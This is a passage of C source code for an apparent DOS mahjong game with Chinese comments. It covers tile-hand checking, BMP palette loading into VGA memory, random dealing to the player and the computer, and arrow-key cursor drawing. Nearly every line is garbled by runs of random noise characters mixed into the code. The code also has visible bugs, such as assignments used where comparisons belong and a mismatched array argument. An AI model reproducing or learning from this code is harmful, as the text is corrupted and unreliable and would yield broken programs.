8 w! O3 n" F1 E# T{# `+ N" F) C6 X4 f3 b
kl=kl+2;. Y$ x2 \! d0 V! z! N6 |0 }
if(kl==8). ~  s; o) n  }  {% y' _
break;
; l2 T9 [- y/ ], w: u/ u& \}
. ~3 z1 _" y0 g2 V  @7 _: @- p" ptest[ill++]=pt[kl];) T: K1 S- B% o" V. u% T4 [
}
) W% X4 p, I/ D, q- _: wisthree(test,tt-2);
: Y& q* R; K6 J0 a! ?  w}6 L4 C3 ]! w  R# {+ }
}
, {( L9 J( }) B9 }else if(tt==9)- Q, U6 p4 U% A! T& m& ^! O* Q
isthree(pt,tt);
; d+ l" u, H* Q5 |0 G4 L4 M; ^$ N) Kelse if(tt==11)  F# }- Q* K' u. U0 ]- t
for(i=0;i&lt;10;i++)
# k/ P. P0 H$ i8 C& t! b, y{
0 i* Y& ?( u" `) tfor(j=0;j&lt;2;j++)
. v" M# X8 g4 e& I& ^# v  N{test[j]=pt[i+j];
2 e% u1 N* }  v% u}1 s; {8 m2 I& n+ ^
if(istwo(test))
4 P% S6 S& }: i, \{ ill=0;/ X; ^. U/ T3 i! U
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
( b/ \/ t1 z7 K# l; t) z{if(kl==i)
+ k5 i2 q2 x8 z{
2 J+ a# C* o5 akl=kl+2;$ g3 ?% {- O0 \! ?
if(kl==11)6 p) F, a: z+ [  S3 i
break;) F: R  y# _8 z; |" Q+ c4 g( H
}: b" v/ l4 C; y
test[ill++]=pt[kl];
, z/ E3 H- Q: w: o6 K+ H" R}. Z, G% h$ p% q- P- k; [3 p$ U# S0 }: q
isthree(test,tt-2); - g$ x: n# s- x3 W
}
; E1 O6 w: r% B, P- L: Y}
* m  p; S4 U  Z1 Q1 `; X& eelse if(tt=12)- t4 |9 ^" }8 s, X. q+ U9 y
isthree(pt,tt);
, a, d1 G* J0 t& b  h) K! `2 i- ~else if(tt=14)" s2 C) L0 @( X# p! [1 H$ Q
for(i=0;i&lt;13;i++)
$ E9 N5 W1 \' y/ c; m{
. }) H5 s; z7 A# o: c) L8 `* R: zfor(j=0;j&lt;2;j++)* p" S" |" f& q/ t1 M: b
{test[j]=pt[i+j]; % I+ ^0 M/ p0 J" S) e
}4 U) L' I7 O3 V& v
if(istwo(test))9 R! I, f% N- V0 _5 g- d" q7 P
{ ill=0;1 y1 H+ s$ i8 R
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/, q6 I) w) a7 F- x8 @
{if(kl==i)
/ U: w" _8 O7 g! j! s{/ o# X/ u" q+ d6 i. |) h+ T
kl=kl+2;
% }  J+ B) [7 \if(kl==14)
: Y2 {* b" m5 x& M; k, vbreak;2 O5 @# u1 o6 ]
}
7 o5 `4 I5 j: R' f" atest[ill++]=pt[kl];* C( e! c. R3 Q: K8 Q
}8 o9 `! q* `: x
isthree(test,tt-2); % ?  k* n$ w+ _- m& R
}* F$ b" E) D, E. l1 h* y+ G
}+ D* p" _: I2 ?& ~
if(ii==2)
% y" U7 p' b- i, Z8 h) Distwo(pi);
" w+ y- l% w6 v' d9 ?else if(ii==3)& z& H$ t) g+ D
isthree(pi,ii);
5 Z2 {# E' n6 ?3 d' Pelse if(ii==5): z2 H. p1 Y- U5 ]9 d
/*pi[5]原始牌数组,假设已经升序排列*/
$ j- d' f2 r) l/*test[3]用来放置测试牌的数组*/
! r- T! Z4 ~9 [; p4 s, Cfor(i=0;i&lt;4;i++); B. y5 k- \5 {1 R0 o8 w
{
) ?6 W& I0 O6 O0 P+ Yfor(j=0;j&lt;2;j++)
; w. y. B" E& T  ^/ J" d{test[j]=pi[i+j];
4 a9 O  F- o5 L$ Z, `}2 O) `4 o! b0 u% N) j
if(istwo(test))
! k6 X" r9 T' G! x{ ill=0;1 n- n5 z' Z0 b: B
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/7 n' }% s& P7 X! g, ~8 |/ G
{if(kl==i)
  ^0 a2 ?* {9 h. q8 s{+ a" P( ^3 e0 h' w5 \
kl=kl+2;
  p- J4 e$ o" T& [6 ~! E) @if(kl==5)' l1 p/ L- o- J
break;
" Q3 ~$ e4 m4 |+ [3 d3 @1 U}
' Z' ]: _9 ^% Btest[ill++]=pw[kl];
( J  L) r" s) @( \! D  H}
  _( ]; e- A- F$ @& ]0 @isthree(test);" b% y/ \9 k+ d* v2 b" u$ ~3 q6 u* P
}
' E6 F# j* H2 u) X2 [, l7 w}
" a. t8 v* e' m5 u' ~5 ]else if(ii==6)/ a" T  s$ ^- W) I- h
isthree(pi,ii);
% w! A5 v4 ]' I! relse if(ii==8); B# t' ]! l& \% P+ @7 \6 w
for(i=0;i&lt;7;i++)- E6 C  X  j1 q1 Y
{
, Y( E$ X) \' ~7 u0 Q1 X5 afor(j=0;j&lt;2;j++)
  R1 w) V/ O6 T4 g+ _: g{test[j]=pi[i+j];
: `+ _) u9 `! T9 T+ B1 v}" k0 f5 x" A# D$ T: A0 f' h% E
if(istwo(test)). t; c, B2 r  k) g
{ ill=0;% @4 T3 o/ }) t7 d! @# z, `3 t
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/1 N6 D' o; G. l7 _+ F; a7 a
{if(kl==i)
* _: l- J  s; ^( a: A{- D* Y* v) V5 P/ n7 @0 }
kl=kl+2;8 \8 s: m; [0 h( u8 Y$ k% I
if(kl==8)
4 E" N  e4 q$ u+ z7 G/ T# a3 g; ebreak;
  v9 q) V5 M5 Q}' }, Y$ [9 g" ]' ?! d# p9 |0 c8 s
test[ill++]=pi[kl];
1 Z/ G: p; f4 S1 `, {; v}" i% m0 `: [. @) v1 D3 M% j, t
isthree(test,ii-2);( D, V. [, P$ L
}1 K# z4 v7 W9 P" k6 X  y
} ( L5 C# e6 g' H/ c/ B; K
else if(ii==9)
- p+ W+ N1 D; [( m7 c' K% c! sisthree(pi,ii);% }( r* I# {. s8 z
else if(ii==11)
: L0 ?2 M- i0 g( `( r) ~, jfor(i=0;i&lt;10;i++)9 ]' T2 P2 D2 m, A
{( A, Q" T. O7 S# j& p2 f' D
for(j=0;j&lt;2;j++)
0 E5 Q, D* [* G& T{test[j]=pi[i+j];
' f' v9 o8 y: h; x* M! j}
3 {8 Y' z. u+ V6 l, m; V% Wif(istwo(test))# l/ l: i% _4 P- G
{ ill=0;9 Q2 Z2 b4 n' i* ]0 _1 y
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/0 N- u7 G" |; D+ {7 c
{if(kl==i)8 g9 d4 K9 i2 {# X1 E5 O8 E2 P" b
{
2 S+ {6 a- q% A# d5 {kl=kl+2;
" N& m, k/ n2 p9 ~' Jif(kl==11)$ G3 d; A- X' O- @/ I0 ^: g
break;
# i2 y( l# d0 B) g' j}5 }+ Y- W2 Z8 _1 f) H6 V: L
test[ill++]=pi[kl];, V9 F, W7 _6 c1 c: N- }
}2 A: S2 z7 U- a. a' ?- L
isthree(test,ii-2);
+ O: n8 H$ g9 ~# [5 l6 {6 l' i}' Q- G. |- G1 W9 y. R; }# L
}
- V" V# e0 D$ i# ?! [9 G  Selse if(ii=12): t" T0 W, r( ?3 {& j3 |) S
isthree(pi,ii);$ O) S! o* F" D4 s
else if(ii=14)8 P, g# [# P, \
for(i=0;i&lt;13;i++)
! ~' s6 }' f" a0 ^% Q{. V2 w7 Q  y0 a$ H* |1 w
for(j=0;j&lt;2;j++)
2 l. a' G5 n* f{test[j]=pi[i+j]; 8 _1 X1 c  v- E% U1 h' |1 y
}; F- j1 x3 Q" M3 B) ]! K
if(istwo(test))7 Y1 G2 |" M7 B7 f6 p
{ ill=0;
# w' c6 Y1 f( P8 `% Dfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/& g/ W$ s: U1 }, {$ e
{if(kl==i)9 X* T& u) S5 X: j5 V- G
{# z, F' x  b. P) R
kl=kl+2;4 o6 d) s( L# u( _/ O; i7 a" v
if(kl==14); K6 L. V- C0 Z* g% C
break;
! |0 K# B/ Z6 d# R}
5 }8 l! A- }$ Ftest[ill++]=pi[kl];
6 X& V4 e: X+ `4 k$ s$ c6 ?}
. o: ^1 Q. _: l$ X+ b& k) visthree(test,ii-2);
9 c. B3 N* Y! q( l* _0 a/ u}
7 w+ z7 m" u8 I. f! C& |. [, L} . l: o) X9 q0 H4 x3 U* I
if(ff==2)
- Z6 \, ~* l( H( vistwo(pf);- P( e4 B) O. @8 i; ~
else if(ff==3)
; d7 }; _4 _4 v6 _; e: X! s  g7 d: cisthree(pf,ff);
! T' i6 Y2 R8 o. B8 a, I' X+ T$ Felse if(ff==5)% q+ z+ |, g( W
/*pf[5]原始牌数组,假设已经升序排列*// U  R% C( j. e  V( D; B3 J
/*test[3]用来放置测试牌的数组*/
+ g% T) V+ ?. {7 z# `for(i=0;i&lt;4;i++)
5 G6 B) U/ _$ E0 ]9 Q{
. y  C  L# s+ j2 ~: C6 N/ k$ D6 \+ r1 Ifor(j=0;j&lt;2;j++)' c. q2 m) m' Y4 i9 e0 o) |
{test[j]=pf[i+j]; ( }# T1 F. M! ~5 G2 E
}
$ F1 U+ l, S+ X5 N- U# rif(istwo(test))
! c3 n/ h3 s7 g{ ill=0;
7 H" J# O! x1 O/ rfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
! Z) X. w- C$ \{if(kl==i); Q# z% j  H0 {# u
{
+ R5 C7 R6 A  r( Ekl=kl+2;
% l+ \' ^$ {8 eif(kl==5)8 m3 ^9 ^$ d) L. q) Y9 K' \
break;
3 A  Z0 C; c! S4 u& h$ C}
  W- `* S" \2 t  c, [5 o1 \test[ill++]=pf[kl];
3 B! h& ?; ^8 c) [7 v$ }) M}
5 @, V/ @' D& P1 b1 Sisthree(test);
" r4 Z) E( K& |0 X" T- ^}
. M$ C" v2 \$ V- m( X- o. s}4 x3 ~% N5 F! Q# I% X5 d) i
else if(ff==6)) e6 L4 Y  [' Q" x- i3 V9 h
isthree(pf,ff);
7 v3 g7 R, d. J/ C2 ielse if(ff==8)
$ U8 J+ z: T* c8 V5 X3 Lfor(i=0;i&lt;7;i++)$ n! r+ N. k5 W1 R; U" \
{
& u, |8 C9 }6 `for(j=0;j&lt;2;j++)/ y% V3 h7 u% ]
{test[j]=pf[i+j];
; Y* B9 ]. x6 Q3 c9 _! C# D}
) h# m. r/ Q2 w5 @# o% a6 vif(istwo(test))
8 V( ~1 G4 o9 ~2 T; }{ ill=0;# H3 H8 x; s6 y4 i
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/' x/ l- O3 L7 k7 M7 ?% b! N
{if(kl==i); Q0 U) J4 k' M1 ]: Y
{: _0 i; i/ x, H5 `8 ^7 Q
kl=kl+2;, n8 p3 C5 Z# C. ]( ]7 c+ I* w
if(kl==8)
4 I. |. _5 m3 m4 A& G0 Zbreak;5 \  |8 n3 D7 S& z3 Y  \4 x1 F
}. A2 n8 t0 O: ?" ~
test[ill++]=pf[kl];4 ~( ^; j& N, p
}
2 Z$ B  ~$ r% k4 b. ~1 D8 ^( Fisthree(test,ff-2);   ^3 m( h+ a/ ?
}
3 Y3 h. _9 y0 @  K: X% Z0 D; e} , y4 M) {( `* H, c/ Y0 s8 U
else if(ff==9)% U7 G6 k% O% ], ]
isthree(pw,ww);' u- s. O, L; i
else if(ff==11)* o5 q/ X# w: P. P6 ^/ C! ?' k4 N
for(i=0;i&lt;10;i++)
, i" D2 e9 w) l( X* a" y$ r{8 J  q) o- h  r3 z$ |
for(j=0;j&lt;2;j++)0 k: L. @, Y7 u6 |
{test[j]=pf[i+j];
8 H9 j1 I+ P$ D}
& e2 }& s- }+ S- e0 \if(istwo(test))
9 N# U2 L* D$ @3 H5 o" x/ |1 L{ ill=0;7 M) _7 s' s  m( l
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/+ L$ `) t& l- U) l6 V3 y. |
{if(kl==i)% H# J% m/ ^+ x  S5 N) t1 m
{
; v% T% y8 |3 v, y  o' {kl=kl+2;
6 s) X+ b2 f& h0 n4 _& s" Qif(kl==11)
6 D4 A6 ]; T5 ^9 Z5 u8 Kbreak;
! b. C  N+ _! n4 q}
. Z2 h) ]8 @9 U+ f; ptest[ill++]=pf[kl];
( v& \( w9 g) G0 ]}
; Z6 X  @% [  G( B+ U2 Pisthree(test,ff-2);
/ |9 }* j. M" w$ i}  U) n( E( B2 Z0 y, ]2 w
}
% K* D0 Y( n0 q2 V$ _* {# Gelse if(ff=12)0 s! H) s' u' T3 V1 x+ i( g
isthree(pf,ff);- Y1 w' ^& L; t& Z
else if(ff=14)/ H9 d1 t. x6 G: ]
for(i=0;i&lt;13;i++)
; \6 B% D0 |1 G{0 [6 E7 o" D# ~" u4 I" k; @
for(j=0;j&lt;2;j++)
' C# v5 H) J  C% g, @2 F3 Y{test[j]=pf[i+j];
3 J6 q# D$ g, f: j' M* r; Y}
( y4 ]% d4 {* b' ?$ ?% ?4 Z) lif(istwo(test))
, R1 y7 y: w$ d& B# ?{ ill=0;
3 A7 j8 c6 a7 [: _9 K  \. @for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
1 D+ [/ n, h5 t  C. A" E# w; d{if(kl==i)& k2 D, v# |0 i  n/ D0 _/ G  U
{5 `8 V2 t# r% B6 g
kl=kl+2;
" p' X% u+ }/ R: M5 H7 tif(kl==14)
9 l3 Q1 Q) E/ V7 I& `9 C$ U7 \break;
) M% h' Q9 l3 u( V}# R; b5 r5 M& `% I* ~
test[ill++]=pf[kl];4 B1 M$ V8 `' G( j0 G1 G, z( r
}) d" C+ [9 e' N/ E
isthree(test,ff-2);' b* x- N) f& \3 P6 \+ H
}! O' S/ m9 w1 x
} ' U, J9 k+ |- \
}& i7 M: g5 D. h1 H# Q+ w# `0 v
void main(void)
( v$ X5 u( K' v0 m* B: J/ y) M4 @{
8 L" ?9 c* m" \FILE *bmp;8 @' o0 _2 L1 Y5 [/ @2 s- Y
static char *name[2]={"ff.bmp","logo.bmp"};
% t) ^  A: a% w: \3 S' qchar *p;
! A5 L; o, F: |( Z7 Cint *lingshi;
/ j5 ?" |) c5 R; v( ?int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
( s1 P1 Y  L' m' }) cint every=0,w=0,x1,x2,y1,y2,every1=0;) z& J7 M2 z8 K" |! w+ Y, [! w
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;) N$ U# X- @6 u
BYTE palette[256][3];4 n* t* G* q% H9 w
SETVGA;
8 ~/ H- j* v( H* q0 t8 P6 cgetch();5 ^( i9 f% N. U# z0 T
while(t--)
8 f* X/ J  C2 _& v' b* P3 g{
/ n6 y+ h! \3 _  z" i, ^7 nbmp=fopen(name[t],"rb");
# U: x8 R$ z* v2 m, j% [2 {3 @% qfseek(bmp,54,SEEK_SET);/ V; R# s5 d  a7 \& X
for(i=0;i&lt;256;i++)0 W$ E7 n5 ?  r4 y# }4 m4 m
{+ Y! w2 ?* D. D$ T' v
palette[2]=fgetc(bmp)&gt;&gt;2;5 `* v+ s) W$ M2 n. S8 c+ r
palette[1]=fgetc(bmp)&gt;&gt;2;
8 Z% u! t" w" J4 }' A( h6 Y9 p- O4 bpalette[0]=fgetc(bmp)&gt;&gt;2;
' h" f6 I* g5 l/ N9 @fgetc(bmp);
( V3 c% V  E/ u' d5 eSet_Palette(i,palette[0],palette[1],palette[2]);
( g( i4 S, H3 T, O& ~}, u5 p" H; w+ ^6 Q) v( @
for (y=0;y&lt;200;y++): ]2 u$ ]5 E" e5 E
for(x=0;x&lt;320;x++)4 \+ f8 d0 a7 t* R6 y6 D9 \3 j1 ?9 S  G
pokeb(0xa000,y*320+x,fgetc(bmp));
. `  D. e' W# [' d/ B7 yfclose(bmp);. _1 E. ?: q5 ]1 J3 C2 W
getch();
2 w9 k& {! [& g7 k5 p}
. t  [  L6 m# ]  d- R/ Ugetch();
9 u: e1 |9 c8 N1 vfillRectangle(0,0,320,200,0);" B9 m3 ?( e# N( I# N6 F
getch();
9 _( i( ~+ `' Qrandomize();* N5 P8 `# R6 ?# ?# C8 M  v* l, b: {) t0 h0 N
me.m=onetothirteen;' p) I/ ?! ?+ R# K
while(me.m&gt;0) /*先循环,给自己拿牌*/
& _: l; u+ W$ k( T$ H7 {1 ^{
) [8 f6 k2 J% T" ~& W4 r$ D1 N+ }) p; P% u2 b! O" O* y9 ?
temp=random(136);
1 l8 I, A# l# {! G  }* T+ lif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
; E" R; H8 F. j5 \4 P# b{
* q! Y2 R( _. T: o2 ime.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
" g  z4 ?7 _  G6 j6 L+ I& w5 {+ Zme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/9 q# ~" l; @2 z' Z0 @' G! [
me.pp[n].number=temp; /*第几张,用来排序*/
) W  F2 }* z& p7 |* km[temp].data2=1; /*判断牌是谁的*/& N( u4 z% }3 E0 y: `
kk=1;4 T6 @, F3 w0 ?' D  z. H+ `1 Z2 @+ |
}
- w# y0 v* L. {" Nif(kk==0) /*判断如果又选择了,就从新再选*/
' q. \: c7 i6 q6 |( k$ E" {{
- t+ d6 t5 l, H: G$ tme.m++;' W; ^/ [" l2 n  i4 ^
n--;6 T) h: `" \6 R" ~/ {9 g
}- \" c7 `6 T  o( P* u. j# }
me.m--;6 R* Z0 [2 f  Q: L: g2 h0 @1 @5 P. G, L
n++;4 y- S' B1 j4 w
kk=0;
5 B8 a& r/ t& h8 ]& u6 ~, r5 R& C}! z( X/ U9 K; ^( Y; F
me.m=12;9 q9 v+ a. a" z" w- Y2 }
melipai(); /*理牌*/
& F/ n. k4 l% {$ ~1 r) v7 u
. H, r4 N, m; ?  ?: J9 Ln=13;  g8 B9 V& S! F- G% e( R9 ]
while(l&lt;n)* ?3 a; O/ ?$ T4 [7 E
{$ `5 K; l# j* F1 V2 k4 ^2 D6 n& G
z=z+20;. ~1 }) D2 X( j7 ^- @+ I% D. @! }
showbmp(l);* l( B4 ^8 Q. o, z) \
l++;
, V2 I. m# Y% c/ P
% P( A8 Q6 X8 \5 r}: T4 n1 J# \: s9 I$ k, c
randomize();
% Y* y* H( d4 `/ c6 _7 Gcomputer.m=oneorthirteen;/ O7 d! @4 ^7 t2 ]
n=0;  C8 |- C& O$ j6 g0 O" ~9 U+ R
while(computer.m&gt;0) /*循环,给对方拿牌*/; y2 \& P* f1 I9 N/ D
{
1 M  k4 ^- {# Q! |6 x7 N" h, }temp=random(136);. u( f8 d( s! t' v$ z- b# [/ u
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)) F- w' Q& _/ l' u
{* @! M6 R) `* C+ a. e& v
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
+ S6 \5 U0 L5 |' O+ W- Hcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/9 j* |  O, c: B& n8 D; @
computer.pp[n].number=temp; /*第几张,用来排序*/
2 b- o2 S+ b" b' b' h: x# @" F' Lm[temp].data2=2; /*判断牌是谁的,2为电脑*/
: @4 o3 L/ X' ~& P: D; a* b" Zkk=1;
# _9 w" d# Y- Y; K/ m( }}
7 C: `& [  D$ V( w8 Kif(kk==0) /*判断如果又选择了,就从新再选*/* {$ y5 n  D/ ~! o
{ - F4 W0 M5 U; }7 b2 ^/ T) r( Q9 j
computer.m++;
+ e. x3 j' g* C5 bn--;3 @3 L5 w8 }5 o% N+ C8 Y; s0 H- P
}
" s& S) ^) c' Pcomputer.m--;
2 J. m5 K7 Z: pn++;$ j3 R- J# l6 L# B  K! ]0 W& b$ p) s
kk=0;" a. i" |* C% V$ x' e3 U3 d
}
7 D1 b( `  ~! \" p5 \" }  vcomputer.m=12;9 X% s! s( f9 B2 O
comlipai(); /*电脑理牌*/5 e8 n6 Z6 E5 [0 P0 T/ s
n=13;
7 E2 Z" C* [$ r- S: T4 d. ewhile(ll&lt;n)
+ s: T$ G* m/ x. E+ u- I( K{% u& ]. ?4 A" k# d
zy=zy+20;. Y: K9 m5 c8 {: I1 u
showybmp(ll);# |/ Q( I. \( S0 l* h3 R! N
ll++;3 P0 l; N5 ~& l/ \8 A; k
}; {4 F" V, x/ U% A) r7 _* X

/ W% f5 ]. Y( Iz=54400;8 j% X6 |3 N; ?
while(key!=ESC)( G8 L5 x: P, [" |
{
6 N3 L/ L$ _: w
- S$ e9 E! e7 n, W! q  Y4 f( Fkeyy=bioskey(0);
7 b* n4 T# ?$ G0 y- Dif(keyy==LEFT) 6 |. C1 z$ A1 c' F/ R# e
{ w=1;
% O5 K; d5 }8 ~) Hif(every==0)6 h: U5 g/ x8 e$ z
{) m* m! G! x' X$ O
every=1;4 p2 x* ?$ i% H( P1 C/ r" n3 ?' r
z=54440-5*320;
, D1 {2 L/ R. W' n  }7 ~) {/ q0 X: F! K) a; i3 g1 B
}
# S! I7 N+ e& N7 _* Ozz=zz+5*320;
6 A" g* q- R1 _2 ~showbmp(every);7 w: I2 g' ^& e/ H
if(every==0)
4 p4 S. E1 y" H% S% b7 ~{3 O+ I1 H' |- }6 w  x
x1=20;
3 K) a$ f, H# k5 `5 r; U5 N; my1=165;
: C) y* w$ {% |% |: l/ i4 jfillRectangle(x1,y1,x1+20,y1+4,0);
6 X5 B* u7 D- Z1 Q4 b( U$ e}& i! x: J2 }0 a' t# s
if(every==1)
& j1 \, w- C# L! R/ q1 v2 `: l; x{
, L& @" j/ a% E5 f' V7 T( S. lx1=40;$ o& Q- [* v# M6 G; E  w
y1=165;) T7 i" L& Q/ }! M
fillRectangle(x1,y1,x1+20,y1+4,0);0 U2 x2 B' P$ M( R+ d
}
5 B4 k0 `: e* ?* K1 Jif(every==2)
9 \7 b# V0 M9 a8 p$ C8 N: d) l{/ I, ^. D) g  p3 [# M/ q
x1=60;) @( A, t. c7 E" @7 R( F( b$ E
y1=165;
* [- N& Z& J$ y; N- Q3 {$ n* sfillRectangle(x1,y1,x1+20,y1+4,0);2 _8 y7 b( @% b  z/ z* v
}
* p$ @8 c& E' t5 t% \. Zif(every==3)5 b' P) x  u! p. K  H% g( K
{& H% w& M% f, n7 q% e" [0 }
x1=80;
+ `; k4 E; I* o8 t0 g+ Vy1=165;
2 B  l' L) Z0 r. M6 `% vfillRectangle(x1,y1,x1+20,y1+4,0);
; R3 B. ]( W$ A4 ~}- b( z; V) y4 b. I# t& Q
if(every==4)
+ g: E  s2 k* T1 u0 S$ {# _& W{
0 j9 }& q( x+ Y2 Bx1=100;. T: e% s* \1 v' R% U
y1=165;4 A/ t3 ]5 M+ B) P8 [! Q2 U2 ^# M
fillRectangle(x1,y1,x1+20,y1+4,0);4 Z, O  S( D, ?# r/ R9 I
}6 }/ }) q5 N- a$ u+ q+ t
if(every==5)
  A5 \2 T$ c, \6 G% i{
, C* `# g: U/ Cx1=120;
. A. P+ g0 C/ E# ]9 |y1=165;% E) J% [8 n, O3 W  Z1 C
fillRectangle(x1,y1,x1+20,y1+4,0);% j4 f. E  Y. }% b4 q! |' s7 b
}' }% v' k. }/ b& r2 S1 D* i' h, ?
if(every==6)
5 d0 o2 _' n( Q/ _9 S1 c6 {{5 m/ Z8 S$ o& h4 K$ B# Q! Z. H% h3 w
x1=140;) O; ^$ E1 X: w6 }/ H1 \: g: J
y1=165;& t- `1 I) t, r: K9 T/ @) G- N) }
fillRectangle(x1,y1,x1+20,y1+4,0);
. l' V& R, E# _2 ]' p5 N2 A}1 |; W& }. m" ]4 ]/ H) t
if(every==7)
- M, w7 U8 ]4 U" o- {) Y{
/ m' [. C2 z5 W2 ux1=160;% R. E) k' `6 ~: U( b
y1=165;/ Q" j" h4 O+ t4 _) C& T, N
fillRectangle(x1,y1,x1+20,y1+4,0);- }. r  i- [% ?: v( i) W- c
}- F# i8 U0 }" z& N! B$ f" C
if(every==8)
! U8 y- d7 Y7 r0 y( q" ~. D9 `{$ }% |: l+ E* N+ W7 |; W! ~5 ]
x1=180;4 C" [8 t; l$ ]; W: z
y1=165;
/ y) i8 ~/ x( _# ffillRectangle(x1,y1,x1+20,y1+4,0);
2 M5 _2 F0 _  a4 \  T6 V}+ _9 V3 d' O5 d% V3 O
if(every==9)$ {- ^! ]2 I5 n2 d  Y- I
{# _& D* P* ^, X% V" b2 ?$ p
x1=200;
$ o/ Y$ R" x$ Z/ c# p0 b" Iy1=165;2 R! U; h  b* Q4 t$ b* C! j
fillRectangle(x1,y1,x1+20,y1+4,0);
7 u3 K3 ]! c% t! C}. z% ?$ f6 _* _
if(every==10)( X5 |1 b: a$ G5 X! O' [
{
# ?; O7 P7 \5 W! ?' m, T. K6 a0 n+ D, kx1=220;
9 ~1 ]) {9 a* ky1=165;3 V8 k& }% c" E$ K3 @( Z
fillRectangle(x1,y1,x1+20,y1+4,0);
: u" Y  o) x" z$ u9 U}
! M6 t# \3 o( S7 i* `; o6 _' Yif(every==11)
/ V% N6 Q" w& l4 A5 f" P+ A# [0 Q{1 A, B. t# V! W
x1=240;
+ o' ^2 i) Q1 U# by1=165;
& }# ]5 S0 ?/ Q8 T6 ~fillRectangle(x1,y1,x1+20,y1+4,0);  h$ |4 K( o8 {: v$ ^7 G' F6 D
}
  K1 s  A% F! b8 `3 x) Vif(every==12)0 ]3 @5 r( _8 u2 _8 i, t/ @* N
{4 E9 }2 {* Q( ^) f1 m: y
x1=260;
& m: b6 g, p% Z6 T$ c3 X0 ~y1=165;- l6 ]2 M7 {  E9 E
fillRectangle(x1,y1,x1+20,y1+4,0);1 z) ]6 v8 r1 \" o: H2 ^5 |1 ?' ^
}' j+ Y9 m7 m$ u2 M. o
zz=0;
: a8 @7 v% {6 T- revery--;
5 s0 C% d1 o0 l) Q( J7 Mz=z-20;
" a- ~" A" v4 \4 B7 l" ?$ ~( ^}
6 C1 }$ }- V/ ]& P; G2 q, I4 n$ Jif(keyy==RIGHT)2 H; `9 |7 P: Q& I) R
{ if(w==0)) [5 s0 A8 ?( S5 ?3 S
{
6 C% x" }$ w. Ez=54440-5*320;$ K" p7 d5 o- u" @* f7 |" S+ I
z=z-20;7 f% s" ?7 X+ k
w=1;
- u  C/ K( ^% ?}
, Y3 e0 Q* N) n8 G: w+ e; l& Jif(every==12)
: x4 \( W' L7 U/ D* E. m{
3 r' k+ }, `/ y( w  e$ w! K& L: {every=11;( B! V! P$ |  R0 {1 t
z=54640-5*320;8 F3 p  E1 c2 a! [/ g' Y4 n- A
}
- A. o; F! t4 |( ~2 V% V+ K6 Nzz=zz+5*320;2 C. u& l) A5 ]3 x1 X& j1 d
showbmp(every);
$ A" c. Y/ Z6 X! H" pif(every==0): e( [0 u, d; o% h  G/ j
{1 H. \7 ^. b& c2 t$ V& W' u
x1=20;
2 w6 P8 ?+ i7 x+ M. P* p! b5 iy1=165;
5 W- l; a( \/ _; ]fillRectangle(x1,y1,x1+20,y1+4,0);
  _9 k8 i6 v( r( S9 M8 u* \* P}& j( q" U0 N: g
if(every==1)3 d( X0 q( X  o4 V) p# {
{) f0 i, v* L  s' j, J
x1=40;
- y& V5 `# y& p9 R+ g" T; Iy1=165;. R" Q0 r2 H6 u+ N; f
fillRectangle(x1,y1,x1+20,y1+4,0);
" g4 m9 G& V/ t, a5 h% F3 O( B}8 b8 o8 X' @, ^7 t0 ]
if(every==2)/ _: b5 `3 f( z, c; c  z9 C
{- O  h7 l* G' E) \, _  z
x1=60;1 f$ }2 w/ I- [- l( T; x
y1=165;
5 n3 R5 f5 C, E9 F' z' ]fillRectangle(x1,y1,x1+20,y1+4,0);. a7 @4 l/ s; Q( o6 [
}5 T! O0 Q/ ?9 Y4 }+ v, t
if(every==3)
8 b; \* T3 N: {0 K9 D; g  v{& I8 g# x2 a+ M8 C6 Q
x1=80;
6 p' {5 ~! c1 Z- E. A( ^" ry1=165;0 E/ G; ~$ g2 r
fillRectangle(x1,y1,x1+20,y1+4,0);
& a& d" n# q  p. V( n}) H" {) o3 s% w4 A- i) K" S
if(every==4)6 U$ l9 f" {9 H1 e* L
{0 k. s! D7 ?2 O
x1=100;
5 n4 v- z5 a6 G$ A. B$ D# _y1=165;
; c6 d# U' u% \$ y+ @; a! X5 F; k. TfillRectangle(x1,y1,x1+20,y1+4,0);
2 a, {6 G) S% h5 u: g* D}
9 h) n$ ^8 _5 {% e: {* o: s9 j% n; uif(every==5)
3 C) h3 w8 q( B- g# d{
- [. F8 l& B7 z5 A, F% i! y+ C: u$ `x1=120;. n( _$ g" V5 t9 x$ _
y1=165;
1 M& E8 I: P; _6 O; X) }- cfillRectangle(x1,y1,x1+20,y1+4,0);
/ c9 C( B' N; E) R4 j) \4 c- p6 V}! s; \9 |6 H( L4 w7 |
if(every==6), o. y7 a3 n, Z- c
{
" H) U5 B1 ^# i# r7 m* z( V$ i: Hx1=140;6 b, A$ z; K7 K7 V& z
y1=165;
( c+ Y' U; {$ H  N! \7 y: UfillRectangle(x1,y1,x1+20,y1+4,0);
& D' l' a7 B# z8 n. u! G5 Y' y}
/ y6 `7 x3 g* S  K- H4 qif(every==7): N' Z* Q0 o7 l6 Z* N' v+ d. u1 ]
{1 I, J( s7 b( P& W- x1 a+ C3 _
x1=160;. k- E; B- R+ B1 ?  A( i
y1=165;
3 b& Y9 d; m4 l( I0 xfillRectangle(x1,y1,x1+20,y1+4,0);, X' v2 F# w) M# B' `& ]$ e6 `$ P
}
8 n, d2 K2 o; g* f* t9 S# ~if(every==8)0 k% X3 X5 p4 ~/ r% U
{' k( ^$ S2 R1 ]4 M5 O6 j! c3 g1 a
